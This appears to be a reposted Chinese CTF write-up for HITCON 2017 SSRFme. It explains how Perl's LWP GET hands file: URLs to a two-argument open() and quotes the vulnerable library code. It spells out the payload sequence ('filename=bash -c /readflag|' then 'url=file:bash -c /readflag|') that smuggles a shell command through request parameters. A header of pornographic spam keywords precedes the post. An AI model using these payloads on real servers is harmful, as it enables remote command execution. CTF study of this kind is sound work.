日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

perl脚本GET系统命令执行

發布時間:2023/12/9 windows 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 perl脚本GET系统命令执行 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

題目來自 [HITCON 2017]SSRFme

代碼的思路很簡單,就是會先建一個文件夾sandbox/md5(orange+ip),然后將url的值寫到filename文件中

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); 這行代碼開始以為就是GET請求,所以想到了file協議去讀文件,但這種做法是錯誤的

簡單記錄一下perl腳本GET系統命令執行的學習

簡單來看看使用GET如何來執行系統命令。具體為啥原因我也說不上來,大概就是open函數支持file協議

perl里的GET函數底層就是調用了open處理

要執行的命令首先必須要有該文件存在,以命令為文件名的文件存在

ubuntu18.04 已經修復此漏洞
修復的方式是在下面第三行代碼中,open中間加了個參數’<’

if ($method ne "HEAD") {open(my $fh,'<', $path) or return new ##就是這里出了問題HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,"Cannot read file '$path': $!");binmode($fh);$response = $self->collect($arg, $response, sub {my $content = "";my $bytes = sysread($fh, $content, $size);return \$content if $bytes > 0;return \ "";});close($fh);}$response; }

暫且刪掉這個 <不管他

利用file:bash -c "cmd string"來讀文件

?url=/&filename=aaa

之前提到要 open函數 執行命令首先就是必須存在這個文件,那么我們首先就是要創建一個以命令命名的文件,然后再去執行

創建 bash -c /readflag| 命名的文件?url=&filename=bash -c /readflag|利用GET執行 bash -c /readflag| 并且寫到 文件aaa中?url=file:bash -c /readflag|&filename=aaa最后訪問 sandbox/md5(orange+ip)/aaa 就可以了

然后就是 | ,這個應該是個分界符的意思,因為他放在前面也是可以的,比如| /readflag

也不是很清楚,就簡單記錄一下,詳細的可以看看這個大佬寫的

-------------------perl腳本GET執行系統命令---------------------

總結

以上是生活随笔為你收集整理的perl脚本GET系统命令执行的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。